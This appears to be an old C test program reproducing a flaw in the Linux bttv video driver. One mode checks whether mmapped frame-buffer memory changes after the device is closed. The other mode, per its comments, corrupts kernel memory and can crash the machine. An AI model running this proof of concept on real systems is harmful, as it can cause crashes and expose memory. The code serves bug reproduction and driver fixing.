#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include "videodev.h"

#define BTTV_MAX_FBUF 0x151000

int access_mem(char *mem, int size)
{
  int i, retval=0;
  volatile int j;

  for (i=0; i<size; i++)
    if ((j = ((volatile char *)mem)[i]) != 0)
      return retval = 1;
  return retval;
}

int main(int argc, char **argv)
{
  int fd, cnt, g0, g1, which;
  char *map;
  struct video_mmap vmap;
  struct timeval start, stop;

  if (argc < 2) {
    fprintf(stderr, "Usage: %s which\n", argv[0]);
    exit(0);
  }
  which = atoi(argv[1]);
  if (which != 0 && which != 1)
    exit(-1);
  
  if ((fd = open("/dev/video0", O_RDWR)) == -1) {
    perror("open /dev/video0");
    goto _out;
  }

  map = mmap(0, BTTV_MAX_FBUF*2, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
  if ((int)map == -1) {
    perror("mmap");
    goto _close_vid;
  }
  memset(map, 0, BTTV_MAX_FBUF*2);

  vmap.height = 576;
  vmap.width = 768;
  vmap.format = VIDEO_PALETTE_RGB24;


  if (which == 0) {
    /*
     * show security flaw (read mem after close)
     * ideally, we could loop over open(), mmap() and close()
     * and get just every mem mapped to our process after
     * some time??
     */
    if (close(fd) == -1)
      perror("close");
    cnt = 0;
    while (1) {
      if (access_mem(map, BTTV_MAX_FBUF*2)) {
	fprintf(stderr, "ARGH! mem modified after %i runs!\n", cnt);
	break;
      }
      cnt++;
    }

  } else if (which == 1) {
    /*
     * show memory corruption!! (be careful!)
     * with CORRUPT defined you should be able to crash your
     * machine with starting bttvtest for a few times...
     */
#define CORRUPT
    gettimeofday(&start, NULL);
    vmap.frame = 0;
    if (ioctl(fd, VIDIOCMCAPTURE, &vmap) == -1)
      perror("VIDIOCMCAPTURE");
    vmap.frame = 1;
    if (ioctl(fd, VIDIOCMCAPTURE, &vmap) == -1)
      perror("VIDIOCMCAPTURE");
    if (close(fd) == -1)
      perror("close");
    gettimeofday(&stop, NULL);

#ifndef CORRUPT
    /* here, grabbing should just have started or never start */
    g0 = access_mem(map, BTTV_MAX_FBUF);
    g1 = access_mem(map+BTTV_MAX_FBUF, BTTV_MAX_FBUF);
#endif

    fprintf(stderr, "2 times VIDIOCMCAPTURE + close lasts %i us\n",
	    (stop.tv_sec-start.tv_sec)*1000000
	    + (stop.tv_usec-start.tv_usec));
#ifndef CORRUPT
    usleep(2*40000);
    
    /* here grabbing should be finished */
    if (g1 != access_mem(map+BTTV_MAX_FBUF, BTTV_MAX_FBUF))
      fprintf(stderr, "Grabbing to frame 1 started after close!??\n");
    if (g0 != access_mem(map, BTTV_MAX_FBUF))
      fprintf(stderr, "Grabbing to frame 0 started after close!??\n");
#endif
  }

_munmap_fbuf:
  if (munmap(map, BTTV_MAX_FBUF*2) == -1)
    perror("munmap");
_close_vid:
  if (close(fd) == -1)
    perror("close");
_out:
  return 0;
}